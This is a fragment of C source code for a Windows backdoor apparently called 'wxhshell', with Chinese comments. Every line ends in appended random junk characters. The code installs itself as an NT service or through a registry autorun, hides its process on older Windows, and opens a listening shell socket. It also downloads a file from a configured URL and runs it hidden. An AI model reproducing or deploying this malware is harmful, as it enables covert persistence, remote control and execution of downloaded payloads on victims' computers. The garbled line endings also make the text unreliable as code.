DWORD BasePriority; ooY\t +
ULONG UniqueProcessId; aQga3;S!
ULONG InheritedFromUniqueProcessId; %?Rs*-F.~1
} PROCESS_BASIC_INFORMATION; e]>/H8
*vb ^N0P
PROCNTQSIP NtQueryInformationProcess; n|6?J_{<b>
'm[6v}
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f?Z|>3.2
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `N$!s7M
Tj&'KF8?L
HANDLE hProcess; `-o5&>'nf
PROCESS_BASIC_INFORMATION pbi; ,6DD=w 0r
21ViHV
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B "*`R!y
if(NULL == hInst ) return 0; `v~!H\q
$Y6 3!*
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cI3 y
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7^Na9]PY
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~> PgJ^G
-]/7hN*v
if (!NtQueryInformationProcess) return 0; A])OPqP{
O"\nR:\
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C w%BZ
if(!hProcess) return 0; RE 9nU%!
MA$Xv`6I\
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Gbn4*<N
3524m#4&@
CloseHandle(hProcess); oKRFd_r +
alc]
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); DKTD Z*
if(hProcess==NULL) return 0; %MbyKz:X
t-!m
vx9Z
HMODULE hMod; pr$~8e=c
char procName[255]; D;jK/2
unsigned long cbNeeded; #Mg lHQO+
U-eI\Lu
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3?@?-q2g
7lR<@$q
CloseHandle(hProcess); |0kXCq
Y87XLvig}
if(strstr(procName,"services")) return 1; // 以服务启动 +TF8WZZF.d
PS$k >_=t
return 0; // 注册表启动 }a ^|L"
} 9#Bx]wy
;gUXvx~~r
// 主模块 x/xb1"
int StartWxhshell(LPSTR lpCmdLine) srK53vKMHW
{ 'y.JcS!|
SOCKET wsl; ;\x~ '@
BOOL val=TRUE; wd wp9 r
int port=0; L7}i
q0
struct sockaddr_in door; nVXg,Jl
=T4u":#N;
if(wscfg.ws_autoins) Install(); tFiR!f)
3{e'YD~hP
port=atoi(lpCmdLine); g8l5.Mpx
@o&Ytd;i
if(port<=0) port=wscfg.ws_port; @cIgxp
LWD#a~
WSADATA data; nv)))I\
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w.uK?A>W,
!R6ApB4ZI
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; (ii(yz|
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s/t11;
door.sin_family = AF_INET; 4-V)_U#8
door.sin_addr.s_addr = inet_addr("127.0.0.1"); O,|\"b1(
door.sin_port = htons(port); jgq{pZ#E
?mU\
N0o
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r|fO7PD
closesocket(wsl); W Y:s
gG
return 1; ,9\Snn
} K6B4sE
Y@%`ZPJ
if(listen(wsl,2) == INVALID_SOCKET) { n=o_1M|
closesocket(wsl); Za%LAyT_s
return 1; 6,+nRiZ
} *ik/p
Wxhshell(wsl); #tDW!Xv?
WSACleanup(); Y)Tl<
5g>wV
return 0; CT p!di|
% O%xpSYr
} YB5dnS"n
\bold"
// 以NT服务方式启动 3D_"yZ
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7W|Zq6pi
{ :gf;}
DWORD status = 0; k. GA8=]>
DWORD specificError = 0xfffffff; oHX$k{6
uR_F,Mp?%u
serviceStatus.dwServiceType = SERVICE_WIN32; uPLErO9Es[
serviceStatus.dwCurrentState = SERVICE_START_PENDING; m$:&P|!'p
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kjE*9bUc
serviceStatus.dwWin32ExitCode = 0; Q["t eo]DQ
serviceStatus.dwServiceSpecificExitCode = 0; ehT%s+aUw
serviceStatus.dwCheckPoint = 0; ~5 >[`)
serviceStatus.dwWaitHint = 0; 55m<XC
Y(r@v
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n8u*JeN
if (hServiceStatusHandle==0) return; !ni>\lZ
p/*"4-S
status = GetLastError(); _a5(s2wq+
if (status!=NO_ERROR) ,2,5Odrz
{ x=*L-
serviceStatus.dwCurrentState = SERVICE_STOPPED; e&1\'Zq?>
serviceStatus.dwCheckPoint = 0; Mu2`ODe]
serviceStatus.dwWaitHint = 0; OCK>%o$[
serviceStatus.dwWin32ExitCode = status; pM2a(\K,k^
serviceStatus.dwServiceSpecificExitCode = specificError;
zF: j
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Uu'dv#4Iw
return; <3Gqv9Y&
} :=fvZA WD
iM5vrz`n
serviceStatus.dwCurrentState = SERVICE_RUNNING; 9 Cvn6{
serviceStatus.dwCheckPoint = 0; ; LMWNy4
serviceStatus.dwWaitHint = 0; c1%rV`)]
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _| zBUrN
} 62\&RRB
i
XYfv(y
// 处理NT服务事件,比如:启动、停止 %|+E48
VOID WINAPI NTServiceHandler(DWORD fdwControl) @cv{rr
{ T)SbHp Y
switch(fdwControl) &&7r+.Y
{ Oy_c
case SERVICE_CONTROL_STOP: j@| `f((4
serviceStatus.dwWin32ExitCode = 0; Eju~}:Lo
serviceStatus.dwCurrentState = SERVICE_STOPPED; WG5W0T_
serviceStatus.dwCheckPoint = 0; fdv`7u+}a
serviceStatus.dwWaitHint = 0; !w2gGy:I>
{ f /y`
SetServiceStatus(hServiceStatusHandle, &serviceStatus); DWm SC}{.
} n:4uA`Vg
return; Z
cpmquf8L
case SERVICE_CONTROL_PAUSE: |W7rr1]~S
serviceStatus.dwCurrentState = SERVICE_PAUSED; _0(7GE13p
break; b{5K2k&,
case SERVICE_CONTROL_CONTINUE: Tlodn7%",
serviceStatus.dwCurrentState = SERVICE_RUNNING; p]ivf
break; GEe`ZhG,
case SERVICE_CONTROL_INTERROGATE: J/ W{/E>;
break; RU&_j*U
}; Bs!4H2@{(]
SetServiceStatus(hServiceStatusHandle, &serviceStatus); FxRXPt
FK
} r;gP}H ?
y%cO#P@
// 标准应用程序主函数 2UadV_s+s
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _MfD
{ k
\qiF|B)Z
e@n!x}t8
// 获取操作系统版本 L?RF;jf
OsIsNt=GetOsVer(); 2R.2D'4)`
GetModuleFileName(NULL,ExeFile,MAX_PATH); UVEz;<5@\
J4aBPq`
// 从命令行安装 ;>"nn
VW
if(strpbrk(lpCmdLine,"iI")) Install(); z`U Ukl}T
c`G&KCw)d
// 下载执行文件 '2nqHX
D
if(wscfg.ws_downexe) { e3m*i}K}
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A3{0q>CC
WinExec(wscfg.ws_filenam,SW_HIDE); ziEz.Wn"
} kXc25y'blP
Q0cRH"!:
if(!OsIsNt) { Y(6Sp'0
// 如果时win9x,隐藏进程并且设置为注册表启动 ..<3%fL3
HideProc(); XL5Es:"+?S
StartWxhshell(lpCmdLine); 0 f/.>1M=
} H0*,8i5I
else @pza>^wk
if(StartFromService()) JPx7EEkZR4
// 以服务方式启动 ;#k-)m%
StartServiceCtrlDispatcher(DispatchTable); )qU7`0'8
else (@sp/:`6
// 普通方式启动 R,_d1^|*w
StartWxhshell(lpCmdLine); Vpp&